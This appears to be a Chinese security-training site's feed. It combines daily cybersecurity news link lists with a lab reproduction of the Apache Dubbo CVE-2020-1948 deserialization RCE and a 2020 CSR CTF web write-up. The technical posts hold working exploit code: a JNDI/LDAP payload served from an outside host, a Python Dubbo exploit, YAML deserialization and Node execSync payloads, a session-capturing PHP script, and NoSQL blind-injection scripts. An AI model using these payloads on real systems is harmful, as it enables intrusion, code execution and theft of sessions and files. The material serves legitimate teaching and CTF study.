网络安全日报 2020年11月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、GO SMS Pro暴露了数百万用户的消息 https://www.securityweek.com/go-sms-pro-exposes-messages-millions-users 2、近50,000个Fortinet VPN凭证在线泄露 https://securityaffairs.co/wordpress/111309/hacking/leak-vulnerable-fortinet-vpns.html 3、数百名女性体育明星和名人的裸体照片和视频在线泄露 https://securityaffairs.co/wordpress/111297/hacking/sports-stars-celebrities-naked-photos.html 4、圣约翰市遭大规模网络攻击破坏了整个IT市政基础设施 https://securityaffairs.co/wordpress/111259/cyber-crime/saint-john-cyber-attack.html 5、研究人员发现Apache Unomi存在RCE漏洞 https://portswigger.net/daily-swig/two-critical-bugs-in-apache-unomi-allowed-attackers-to-run-os-commands-on-vulnerable-servers 6、IBM POWER9处理器被发现数据泄露漏洞 https://www.theregister.com/2020/11/20/ibm_power9_specex_flaw/ 7、QakBot银行木马开始部署新的Egregor勒索软件 https://securityaffairs.co/wordpress/111197/cyber-crime/qakbot-egregor-ransomware.html 8、英国曼联足球俱乐部的系统遭到网络攻击 https://securityaffairs.co/wordpress/111231/hacking/manchester-united-cyber-attack.html 9、VMware修补了在天府杯中被利用的严重漏洞 https://www.securityweek.com/vmware-patches-vulnerabilities-exploited-chinese-hacking-contest 10、僵尸网络在大规模扫描互联网上暴露的ENV文件 https://www.zdnet.com/article/botnets-have-been-silently-mass-scanning-the-internet-for-unsecured-env-files/
网络安全日报 2020年11月20日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Emotet从银行木马演变为恶意软件分发平台 https://thehackernews.com/2020/11/anyrun-emotet-malware-analysis.html 2、GO SMS Pro存在安全漏洞可泄露用户聊天记录 https://thehackernews.com/2020/11/warning-unpatched-bug-in-go-sms-pro-app.html 3、LidarPhone攻击:利用扫地机器人LiDAR传感器窃听对话准确度达90% https://threatpost.com/robot-vacuums-audio-lidarphone-hack/161421/ 4、Google将为 Android Messages提供端到端加密 https://www.securityweek.com/google-launches-strong-encryption-android-messages 5、Drupal修复高危远程执行代码漏洞CVE-2020-13671 https://www.securityweek.com/remote-code-execution-vulnerability-patched-drupal 6、Firefox 83发布推出“HTTPS-Only”模式 https://www.securityweek.com/mozilla-boosts-security-firefox-https-only-mode 7、Palo Alto Networks推出新的5G安全产品 https://www.zdnet.com/article/palo-alto-networks-rolls-out-new-5g-security-offering/ 8、REvil勒索软件要求Managed.com支付50W赎金 https://securityaffairs.co/wordpress/111154/cyber-crime/managed-com-revil-ransomware.html 9、安全研究人员开发出最快的开源IDS/IPS https://www.darkreading.com/attacks-breaches/researchers-say-theyve-developed-fastest-open-source-ids-ips/d/d-id/1339472 10、Google要求Chrome扩展程序必须发布隐私政策 https://www.securityweek.com/google-asks-chrome-extensions-post-privacy-policies
网络安全日报 2020年11月19日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软发布针对Linux的EDR预览版本 https://www.securityweek.com/microsoft-releases-edr-linux-public-preview 2、AWS 宣布AWS Network Firewall全面上市 https://www.securityweek.com/aws-network-firewall-now-generally-available 3、思科修复了WebEx中的高危漏洞 https://securityaffairs.co/wordpress/111145/hacking/cisco-webex-meetings-flaws.html 4、安装Epsilon Framework主题的WordPress网站易受攻击 https://securityaffairs.co/wordpress/111104/hacking/epsilon-framework-themes-attacks.html 5、Chrome 87版本修复了多个高危漏洞和阻止NAT Slipstream攻击 https://threatpost.com/google-chrome-87-nat-slipstreaming-flaw/161344/ 6、DarkSide勒索软件运营商宣布为会员提供分布式存储平台 https://hotforsecurity.bitdefender.com/blog/darkside-ransomware-operators-plan-to-open-distributed-storage-system-for-stolen-files-24560.html 7、虚拟主机提供商Managed.com遭勒索软件攻击 https://www.zdnet.com/article/web-hosting-provider-managed-shuts-down-after-ransomware-attack 8、Malsmoke活动利用社会工程技术传播恶意软件 https://blog.malwarebytes.com/threat-analysis/2020/11/malsmoke-operators-abandon-exploit-kits-in-favor-of-social-engineering-scheme/ 9、调查数据显示2020年使用最多的密码是123456 https://www.zdnet.com/article/the-worst-passwords-of-2020-show-we-are-as-lazy-about-security-as-ever 10、Chaes Malware活动针对南美最大电商平台MercadoLivre的用户 https://securityaffairs.co/wordpress/111133/cyber-crime/chaes-malware.html
网络安全日报 2020年11月18日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、数百个特斯拉Powerwall网关可能受到黑客攻击 https://www.securityweek.com/hundreds-tesla-powerwall-gateways-potentially-exposed-hacker-attacks 2、Capcom证实在最近的勒索攻击中被窃取了数据 https://www.securityweek.com/capcom-confirms-hackers-stole-data-recent-attack 3、微软推出用于个人电脑的“ Pluton”安全芯片 https://www.securityweek.com/microsoft-unveils-pluton-security-processor-pcs 4、研究人员披露Cisco Security Manager中RCE漏洞 https://thehackernews.com/2020/11/researcher-discloses-critical-rce-flaws.html 5、世界冷库巨头Americold遭受了网络攻击 https://www.bleepingcomputer.com/news/security/cold-storage-giant-americold-hit-by-cyberattack-services-impacted/ 6、黑客对流行的Telegram频道进行大规模攻击 https://www.itsecuritynews.info/hackers-attacked-major-telegram-channels-via-video-on-yandex/ 7、微软披露超过20W个Windows系统仍易受到BlueKeep漏洞的攻击 https://securityaffairs.co/wordpress/111051/hacking/windows-vulnerable-bluekeep.html 8、区块链公司Origin Protocol遭黑客攻击 https://portswigger.net/daily-swig/origin-dollar-cryptocurrency-hacked-to-the-tune-of-7m-less-than-two-months-after-launch 9、美国银行系统(ABS)遭受到勒索软件攻击泄露50GB数据 https://securityreport.com/american-bank-systems-hit-by-ransomware-attack-full-53-gb-data-dump-leaked 10、研究人员发现AWS基于资源的策略API中存在信息泄漏漏洞 https://unit42.paloaltonetworks.com/aws-resource-based-policy-apis
Apache Dubbo反序列化漏洞
本文涉及知识点实操练习--https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID39ef-c0db-4835-b19f-62f9d8d70d55&pk_campaign=heetian-wemedia(通过该实验了解漏洞产生的原因,掌握基本的漏洞利用及使用方法,并能给出加固方案。) 简介 Dubbo是阿里巴巴公司开源的一个高性能优秀的服务框架,使得应用可通过高性能的RPC实现服务的输出和输入功能,可以和Spring框架无缝集成。它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。 概述 2020年06月23日, Apache Dubbo 官方发布了Apache Dubbo 远程代码执行的风险通告,该漏洞编号为CVE-2020-1948,漏洞等级:高危。 Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。 Apache Dubbo Provider存在反序列化漏洞,攻击者可以通过RPC请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。 影响版本    Dubbo 2.7.0 - 2.7.6    Dubbo 2.6.0 - 2.6.7    Dubbo 2.5.x (官方不再维护) 环境搭建 运行环境与编译exp环境jdk版本均为8u121,启动测试环境 java -jar dubbo.jar 启动后会监听12345端口 漏洞复现 服务指纹: PORT      STATE SERVICE VERSION 12345/tcp open  textui  Alibaba Dubbo remoting telnetd 构造poc,我们这里执行一个ping命令来验证是否可以执行命令,新建calc.java, import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class calc implements ObjectFactory {     @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {         Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io");         return null;     } } 编译poc javac calc.java 将编译好的poc(calc.class)放到web网站目录里,确保漏洞主机可以访问到 使用marshalsec项目启动一个ldap代理服务,marshalsec下载: https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar 启动LDAP代理服务,执行该命令ldap服务会监听8086端口 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://139.9.198.30/#calc 8086 执行测试脚本,此处测试使用python环境为3.8.0,先安装依赖包 python3 -m pip install dubbo-py 脚本内容(Dubbo.py): # -*- coding: utf-8 -*- import sys from dubbo.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClient if len(sys.argv) < 4:   print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))   print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))   sys.exit() client = DubboClient(sys.argv[1], int(sys.argv[2])) JdbcRowSetImpl=new_object(   'com.sun.rowset.JdbcRowSetImpl',   dataSource=sys.argv[3],   strMatchColumns=["foo"]   ) JdbcRowSetImplClass=new_object(   'java.lang.Class',   name="com.sun.rowset.JdbcRowSetImpl",   ) toStringBean=new_object(   'com.rometools.rome.feed.impl.ToStringBean',   beanClass=JdbcRowSetImplClass,   obj=JdbcRowSetImpl   ) resp = client.send_request_and_return_response(   service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',   # 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。   method_name='$invoke',   args=[toStringBean]) output = str(resp) if 'Fail to decode request due to: RpcInvocation' in output:   print('[!] Target maybe not support deserialization.') elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:    print('[+] Succeed.') else:   print('[!] Output:')   print(output)   print('[!] Target maybe not use dubbo-remoting library.') 执行脚本 python3 Dubbo.py 192.168.137.173 12345 ldap://139.9.198.30:8086/calc dnslog查看,成功接收到请求 ldap服务也可以看到请求转发 弹计算器 import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class calc implements ObjectFactory {     @Override     public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {         Runtime.getRuntime().exec("calc");         return null;     } } 漏洞修复 升级 2.7.7 版本,并根据以下链接的方法进行参数校验 https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de 更换协议以及反序列化方式。具体更换方法可参考: http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html 参考 https://github.com/DSO-Lab/defvul/wiki/Apache-Dubbo-CVE_2020_1948-Deserialization-Vulnerability
网络安全日报 2020年11月17日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、VoltPillager:通过控制CPU电压破坏英特尔SGX的新型攻击 https://www.securityweek.com/voltpillager-new-hardware-based-voltage-manipulation-attack-against-intel-sgx 2、macOS Big Sur 11.0.1修补了60个漏洞 https://www.securityweek.com/macos-big-sur-1101-patches-60-vulnerabilities 3、制造业正在成为勒索软件攻击的主要目标 https://www.zdnet.com/article/manufacturing-is-becoming-a-major-target-for-ransomware-attacks/ 4、新型skimmer攻击利用WebSocket逃避检测 https://securityaffairs.co/wordpress/110982/hacking/skimmer-attack-websockets.html 5、研究人员发现数十万被盗Facebook账号凭证 https://securityaffairs.co/wordpress/111018/cyber-crime/100k-facebook-accounts-scam.html 6、生物技术公司Miltenyi Biotec披露恶意软件攻击 https://www.securityweek.com/biotech-company-miltenyi-biotec-discloses-malware-attack 7、Citrix SD-WAN存在远程代码执行漏洞 https://threatpost.com/citrix-sd-wan-bugs-remote-code-execution/161274/ 8、研究人员发现新型恶意软件:Jupyter https://securityaffairs.co/wordpress/110967/malware/jupyter-malware.html 9、Lazarus 供应链攻击针对韩国用户 https://www.securityweek.com/lazarus-group-targets-south-korea-supply-chain-attack 10、特拉华州公共卫生部披露了数据泄露事件 https://www.databreaches.net/delaware-division-of-public-health-announces-data-breach-incident-involving-covid-19-results/
2020-CSR-CTF-Web-复盘以及分析
本文涉及知识点实操练习--https://www.yijinglab.com/pages/CTFLaboratory.jsp?pk_campaign=heetian-wemedia 0x01 前言 2020 年 10 月 31 日万圣节举办的德国比赛,界面很有特色,web 题目质量很高,队伍只出了三道,结束后通通复盘了一遍深入理解。题目从易到难一共有十道,其中九道有出,本篇只详细分析解数多的五道,其余四道比赛时只有个位数 solve ,打算后续专门写四篇结合相应漏洞讲述。 本篇相关亮点: ● Python yaml 反序列化 ● Node.JS RCE ● NoSQL 盲注 0x02 题解 Cyberwall 开胃小菜。 网页源码有密码可登入。 路由 debug 命令注入。 127.0.0.1|ls 127.0.0.1|cat super_secret_data.txt Wheels n Whales 给了源码 web.py import yaml from flask import redirect, Flask, render_template, request, abort from flask import url_for, send_from_directory, make_response, Response import flag app = Flask(__name__) EASTER_WHALE = {"name": "TheBestWhaleIsAWhaleEveryOneLikes", "image_num": 2, "weight": 34} @app.route("/") def index():     return render_template("index.html.jinja", active="home") class Whale:     def __init__(self, name, image_num, weight):         self.name = name         self.image_num = image_num         self.weight = weight          def dump(self):         return yaml.dump(self.__dict__) @app.route("/whale", methods=["GET", "POST"]) def whale():     if request.method == "POST":         name = request.form["name"]         # 长度限制 10         if len(name) > 10:             return make_response("Name to long. Whales can only understand names up to 10 chars", 400)         image_num = request.form["image_num"]         weight = request.form["weight"]         whale = Whale(name, image_num, weight)                  # getflag 注意这里         if whale.__dict__ == EASTER_WHALE:             return make_response(flag.get_flag(), 200)                  return make_response(render_template("whale.html.jinja", w=whale, active="whale"), 200)     return make_response(render_template("whale_builder.html.jinja", active="whale"), 200) class Wheel:     def __init__(self, name, image_num, diameter):         self.name = name         self.image_num = image_num         self.diameter = diameter     @staticmethod     def from_configuration(config):         return Wheel(**yaml.load(config, Loader=yaml.Loader))          def dump(self):         return yaml.dump(self.__dict__) @app.route("/wheel", methods=["GET", "POST"]) def wheel():     if request.method == "POST":         if "config" in request.form:             wheel = Wheel.from_configuration(request.form["config"])             return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)         name = request.form["name"]         image_num = request.form["image_num"]         diameter = request.form["diameter"]         wheel = Wheel(name, image_num, diameter)         print(wheel.dump())         return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)     return make_response(render_template("wheel_builder.html.jinja", active="wheel"), 200) if __name__ == '__main__':     app.run(host="0.0.0.0", port=5000) flask 框架,yaml 序列化。 整体逻辑很简单,wheel 和 whale 两个类,whale 需要我们创建属性值与 EASTER_WHALE 相同的类对象,但 name 属性明显过不了 if ,长度限制 10 。 wheel 就没有这么多限制,而且我们注意到,除了用构造函数创建 wheel 实例外,还有这段: class Wheel:          ...     @staticmethod     def from_configuration(config):         return Wheel(**yaml.load(config, Loader=yaml.Loader))          def dump(self):         return yaml.dump(self.__dict__) @app.route("/wheel", methods=["GET", "POST"]) def wheel():     if request.method == "POST":         if "config" in request.form:             wheel = Wheel.from_configuration(request.form["config"])             return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200) 我们结合 Pyyaml 官方文档 来理解一下上述代码做了什么,有何利用点: yaml.dump(data, Dumper=Dumper) yaml.dump 函数接受一个 Python 对象并生成一个 YAML 文档。 yaml.load(stream, Loader=Loader) yaml.load 函数将 YAML 文档转换为 Python 对象,返回一个 Python 对象。 yaml.load 接受一个字节字符串、一个 Unicode 字符串、一个打开的二进制文件对象或一个打开的文本文件对象。字节字符串或文件必须使用 utf-8、 utf-16-be 或 utf-16-le 编码进行编码。yaml.load 通过检查字符串/文件开头的 BOM (字节顺序标记) 序列来检测编码。如果没有提供 BOM,则假定采用 utf-8编码。 >>> yaml.load(u""" ... hello: Привет! ... """)    # In Python 3, do not use the 'u' prefix {'hello': u'\u041f\u0440\u0438\u0432\u0435\u0442!'} >>> stream = file('document.yaml', 'r')    # 'document.yaml' contains a single YAML document. >>> yaml.load(stream) [...]    # A Python object corresponding to the document. 对于这个函数,官方也有警告: 用从不可信来源接收的任何数据调用 yaml.load 是不安全的!yaml.load 和 pickle.load 一样强大,因此可以调用任何 Python 函数。 既然 yaml.load 可以调用任何 Python 函数,那我们可以不用想办法创建 whale 去使之与 EASTER_WHALE 相等,直接 flag.get_flag() 即可。 结合题目代码:     @staticmethod def from_configuration(config): return Wheel(**yaml.load(config, Loader=yaml.Loader)) 这里的 yaml.load 从 config 中读取 yaml 文件创建 wheel 对象,加上 Loader=yaml.Loader 只是为了避免警告。 而 config 则是来自我们 post 的表单数据: if request.method == "POST": if "config" in request.form:    wheel = Wheel.from_configuration(request.form["config"]) 到这里思路就很明晰了,我们从路由 wheel post config 对象,config 的 name 用我们精心构造的可以 flag.get_flag() 的语句,其他参数因为是数字类型所以随便写即可。 我们先要想办法序列化一个对象传入 yaml.load ,而对应官方文档有: !!python/object:module.Class { attribute: value, ... } 任何可选对象都可以使用 !!python/object 进行序列化。 为了支持 pickle 协议,还提供了两种额外形式。 !!python/object/new:module.Class [argument, ...] !!python/object/apply:module.function [argument, ...] >>> class Hero: ...     def __init__(self, name, hp, sp): ...         self.name = name ...         self.hp = hp ...         self.sp = sp ...     def __repr__(self): ...         return "%s(name=%r, hp=%r, sp=%r)" % ( ...             self.__class__.__name__, self.name, self.hp, self.sp) >>> yaml.load(""" ... !!python/object:__main__.Hero ... name: Welthyr Syxgon ... hp: 1200 ... sp: 0 ... """) Hero(name='Welthyr Syxgon', hp=1200, sp=0) 如上例,Hero 类有三个属性 name、hp、sp ,我们可以通过 !!python/object 利用 yaml.load 成功序列化出来。 所以我们可以构造 payload 如下: config={name: !!python/object/apply:flag.get_flag [], image_num: 3, diameter: 3} CSRegex 页面是正则表达式测试工具。 nodejs 笔者没有相关开发经验,写的可能有所欠缺,所以下文仅作为参考。 我们应首先判断这个网站是用什么写的,当然 ctf 首先想到的是 node ,这种类似的题在 picoCTF见过,这里摆出来只是为了介绍一下,判断 node 简便的方法有两种: ■ 当访问一个不存在的路径时,会得到 node 错误 “ Can not GET/whatever” ,响应头部有 X-Powered-By: Express ( Express 框架开发) ■ 利用 Wappalyzer 之类的插件了解网站所用技术 但明显不能用到这里: 作为第二种方式的代替,我比赛时找到了 https://builtwith.com/ 发现了 underscore.js ,nodejs 库。 同时 国外师傅 是利用 fetch 是否定义来判断该网站是运行在 node 上还是浏览器上的: "fetch is not defined" -- we are running on node and not a web browser 通过观察 JavaScript Code ,我们可以先闭合掉前面的正则表达式,试着拼接一些命令来获取更多信息,最后再注释掉: // test \w/gi);let a=10;return a;/ ------ '123'.match(/\w/gi);let a=10;return a;//gi) ------ { "result": 10 } 既然有了 RCE ,我们先来考虑读系统文件该怎么构造 payload ,node 有 fs 模块用于对系统文件及目录进行读写操作,需要用 require('fs') 来载入,但上下文里不一定有 require ,require 并不是可以全局访问的。 见 官方文档 和 示例 : require() This variable may appear to be global but is not. See require(). (function(){Function('console.log(require("fs").readFileSync("/etc/passwd"))')()})() //ReferenceError: require is not defined 这题就没有,而 process.mainModule 属性提供了一种获取 require.main 的替代方式,换言之,我们可以通过 process.mainModule.require('fs') 来载入,然后通过 fs.readdirSync(path[, options]) 同步返回一个包含“指定目录下所有文件名称”的数组对象。 // test \w/gi); let files = []; const fs = process.mainModule.require('fs'); fs.readdirSync(".").forEach(file => files.push(file) ); return files;/ ------ '123'.match(/\w/gi);let files = []; const fs = process.mainModule.require('fs');fs.readdirSync(".").forEach(file => files.push(file) );return files;//gi) ------ { "result": [ ".dockerignore", "api.js", "csregex", "dist", "dockerfile", "index.js", "leftover.js", "node_modules", "package-lock.json", "package.json", "regexer.js", "requests.log", "simple-fs.js" ] } 成功,那么接下来只要读取这些文件,结果在 dockerfile 中: // test \w/gi); const fs = process.mainModule.require('fs'); const data = fs.readFileSync('dockerfile', 'utf8'); return data;/ ------ '123'.match(/\w/gi); const fs = process.mainModule.require('fs'); const data = fs.readFileSync('dockerfile', 'utf8'); return data;//gi) 当然也可以直接 cat 读取文件: 先给出拼接后的 JavaScript Code : ''+constructor.constructor("return process")().mainModule.require("child_process").execSync('cat * | grep CSR')+' \n'.match(/\w/gi) 同上,只不过是选择先闭合了要匹配的字符串,获得全局上下文后直接导入 child_process 来执行系统命令。 payload( exp 学习自 CVE-2019-10758 PoC): '+this.constructor.constructor("return process")().mainModule.require("child_process").execSync('cat * | grep CSR')+' imghost 文件上传。 PHP,dirsearch 扫目录有: 得到 file.php 源码: <?php session_start(); $filename = substr($_SERVER["DOCUMENT_URI"], 3); if(!file_exists("/dev/shm/uploads/" . $filename) || strlen($filename) > 24) die("<h1>404 File not found</h1>"); if($_GET["report"] == "1") {  if(!file_exists("/dev/shm/reports")) mkdir("/dev/shm/reports");  if(!file_exists("/dev/shm/reports/" . $filename)) {   file_put_contents("/dev/shm/reports/" . $filename, "");  }  die("File has been reported, thanks for your help!"); } header("Content-Security-Policy: script-src 'none';"); echo '<object border="2px" data="/uploads/' . $filename . '?lang=en&ref=website&pd=' . md5(session_id()) . '&u=' . uniqid() . '&client=' . session_id() . '&method=direct&t=' . time() . '"></object>'; echo '<br/><a href="?report=1">Report abuse</a>'; ?> 这里需要注意的是 HTTP 头信息的 Content-Security-Policy ,简称 CSP ,通常是用来防 XSS 的,提供了很多限制选项,这里的 script-src 限制外部脚本的加载,选项值是 'none' 禁止加载任何外部资源,所以基本不可能 RCE 。 结合题名,我们可以尝试去获取管理员的 session id 。 当我们上传一个图片后,点击,~/i/encrypted_filename.png 会去请求: ~/uploads/FHYVFZAsWZukicREmqTS.png?lang=en&ref=website&pd=387a36e941f19635f8f898f8e2af0dd2&u=5fa8e6669c74b&client=hluad03qhmob6onl376hlnad5h&method=direct&t=1604904550 用以校验身份,而访问图片成功后,有 Report abuse ,点击 referer 同样是来自 ~/i/encrypted_filename.png ,结合源码,File Report 后,会在 /dev/shm/reports/ 目录下生成一个对应的文件,可以合理猜测,管理员进行访问时也会有来自 ~/i/encrypted_filename.png 的请求用来校验身份。 综上,我们可以利用上传的图片重定向到我们的服务器用来获取 session id 。 <img src="https://server.com/exp.php"> exp.php <?php     $d = json_encode($_SERVER);     $filename = __DIR__ . "/data.txt";     file_put_contents($filename, $d); ?> 然后我们可以从本地 data.txt 得到 session id ,替换后再次访问可以从 flag.txt 得到 flag 。 本地测试了下,data.txt 读取到 $_SERVER 的内容: Secure Secret Sharing 源码 var express = require('express'); var path = require('path'); var bodyParser = require('body-parser') var fs = require('fs'); const {SHA256} = require("sha2"); var app = express(); app.use(bodyParser.urlencoded({extended: false})); var MongoClient = require('mongodb').MongoClient; const mongo_url = 'mongodb://localmongo'; const db_name = 'secrets'; const db_client = new MongoClient(mongo_url); db_client.connect(function(err) {     db = db_client.db(db_name);     collection = db.collection("secrets")     app.listen(8080); }); app.get('/', function(request, response) {     response.sendFile(path.join(__dirname + '/html/index.html')); }); // 插入数据 app.post('/secret_share', function(request, response) {     let sec = request.body.sec;     //sha256 散列,十六进制输出     let secid = SHA256(sec).toString("hex");     //无 csr 的情况插入     if (sec.toLowerCase().includes("csr")) {         response.redirect('/');     } else {         collection.insertOne({id: secid, secret: sec});         response.redirect('/secret_share?secid=' + secid);     } }); //通过 secid 进行检索 app.get('/secret_share', function(request, response) {     var secid = request.query.secid;     var sec = collection.findOne({id: secid});     sec.then(sec => {         fs.readFile(__dirname +'/html/secret.html', {encoding: 'utf-8'}, (err, data) => {             try {                 response.send(data.replace("$secret", sec["secret"]));                 response.end();             } catch(e){                 console.log("Error: " + e);                 response.status(404);                 response.send("id does not exist.");                 response.end();             }         });            }, error => {         console.log(error);     }); }); app.get('/source', function(request, response) {     fs.readFile(__filename, {encoding: 'utf-8'}, (err, data) => {         response.type("text/plain");         response.send(data);         response.end();     }); }); ExpressJS MongoDB 因为国内文章关于 MongoDB 注入的比较少且发布时间早,所以我近期写了一篇文章在博客进行介绍,不了解的朋友可以先去看看:mongodb 注入初识 var sec = collection.findOne({id: secid}); 由上,注入点可以确定为 secid 。 用 $ne 进行测试一下: //test ?secid[$ne]=0 MySuperSecurePW123 因为这里是 findOne() 只能返回第一条文档记录,而且最重要的一点,secid 是 sha256 加密过的,哈希值之间的差异非常大,我们不能凭 flag 的格式获取到前几位,所以我们改用 $regex 进行类似盲注的测试: //test ?secid[$regex]=^0 princess //princess -> 04e77bf8f95cb3e1a36a59d1e93857c411930db646b46c218a0352e432023cf2 这样是可行的,我们可以利用 $regex 位位遍历 0~f ,总能找到一个内容含 CSR 的 secret ,所以我手工测试了下,发现最好的情况是前四位就可以区分不同的哈希(开始有了 id does not exist. 的回显)。 这里“盲注”不像 SQL 里面可以用二分法,要位位遍历,所以效率非常低。 用四循环遍历当然太慢了,而且出现连续三位相同的概率几乎为 0 ,我们调换一下顺序,并且用 . 代替一位,这里因为只返回第一条文档,所以我们可以挨个试位置,所幸替换第一位就出了结果: import requests import re class Outloop(Exception):     pass try:     for i in "0123456789abcdef":         for j in "123456789abcdef0":             for k in "23456789abcdef01":                 url = "http://chal.cybersecurityrumble.de:37585/secret_share?secid[$regex]=^.{}{}{}%22.format(i, j, k)                 print("[i] Still looking for: "+i+j+k)                 response = requests.request("GET", url)                 if "CSR" in response.text:                     print("[+] Flag: CSR"+re.search(r"CSR(.*)}",response.text)[1]+"}")                     raise Outloop() except Outloop:     pass 发 200+ 次请求得到了 flag 。 国外师傅有给出优化版本的,是把哈希值视为了树结构,从根节点开始(设置 0~f 中的任意值),先判断其是否有子节点,如果有,是否有多个,优化规则如下: 如果一个节点只有一个子节点,我们假设它只会产生一个散列,因此我们不会遍历子节点的路径。 也就是假设 payload 为 ?secid[$regex]=^73 没有子节点,那么当然我们遍历第三层时,就不会再去遍历 730,731,...,73f 等;而如果 78c 有一个子节点 78c1 ,也认为其只会产生一个散列 78c1 ,如图(图源自国外师傅 wp): 可以想到,我们上面写的脚本其实是所有节点不管有没有子节点都去遍历了一遍,所以非常耗时间。 #!/usr/bin/env import requests as req import time import re import queue import hashlib URL = "http://chal.cybersecurityrumble.de:37585/secret_share?secid[$regex]=^" # 查找 flag 的正则表达式 regex = r"-->(.*)<!--" deadStarts = [] chars = "0123456789abcdef" # 如果父节点有多个子节点 def parentHasMoreThanOneChildren(hash):     l = len(hash) - 1     if l < 0:         return True     url = URL + hash[:l] + '[^' + hash[l] + ']'         r = req.get( url )     if r.status_code == 404:         return False     return True # 是否有子节点 def hasChild(hash):     url = URL + hash     r = req.get( url )     if r.status_code == 404:         return False     return True # 获取 secret def getSecret(hash):     url = URL + hash     r = req.get( url )     return re.search(regex, r.text)[1] # 访问子节点判断是否有 flag def visitChild(hash):     print(hash, end=' ')     if not parentHasMoreThanOneChildren(hash):         secret = getSecret(hash)         print( secret )         if "csr" in secret.lower():             exit()         return     print('')     for c in chars:         if hasChild( hash + c ):             visitChild( hash +c ) # 这里设置的根节点为 6 visitChild( '6' ) 实际上确实是很快。 0x03 后记 这次比赛打完复盘收获不少,相比于一些比赛总是模改题还是非常不错的,也感觉到自己开发经验欠缺,比如 node 只在原型链污染有接触过一点点,但却没有深入,还是要继续努力。
网络安全日报 2020年11月16日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、零售业巨头The North Face网站遭受凭证填充攻击 https://securityaffairs.co/wordpress/110952/data-breach/the-north-face-credential-stuffing.html 2、智利零售巨头Cencosud遭勒索软件攻击 https://securityaffairs.co/wordpress/110941/cyber-crime/cencosud-egregor-ransomware.html 3、Pluto TV遭入侵,320W个用户被泄露 https://securityaffairs.co/wordpress/110931/data-breach/pluto-tv-database-shinyhunters.html 4、生物技术研究公司Miltenyi Biotec披露遭勒索软件攻击 https://securityaffairs.co/wordpress/110900/malware/miltenyi-biotec-ransomware-attack.html 5、施耐德电气警告Drovorub Linux恶意软件攻击 https://www.securityweek.com/schneider-electric-warns-customers-drovorub-linux-malware 6、微软警告称三个APT小组针对7个COVID-19疫苗生产商 https://securityaffairs.co/wordpress/110871/apt/apt-groups-covid-19-vaccine.html 7、图片库网站123RF的830万条用户记录遭受泄露 https://www.bleepingcomputer.com/news/security/popular-stock-photo-service-hit-by-data-breach-83m-records-for-sale/ 8、研究人员发现以太坊智能合约存在严重漏洞 https://cybernews.com/security/ethereum-smart-contract-vulnerabilities/ 9、保险软件提供商Vertafore遭受了数据泄露 https://www.zdnet.com/article/info-of-27-7-million-texas-drivers-exposed-in-vertafore-data-breach/ 10、加利福尼亚大学和清华大学发现一种新的DNS缓存中毒攻击-SAD DNS https://thehackernews.com/2020/11/sad-dns-new-flaws-re-enable-dns-cache.html
2020高等教育博览会 | 蚁景网安实验室,来“湘”见
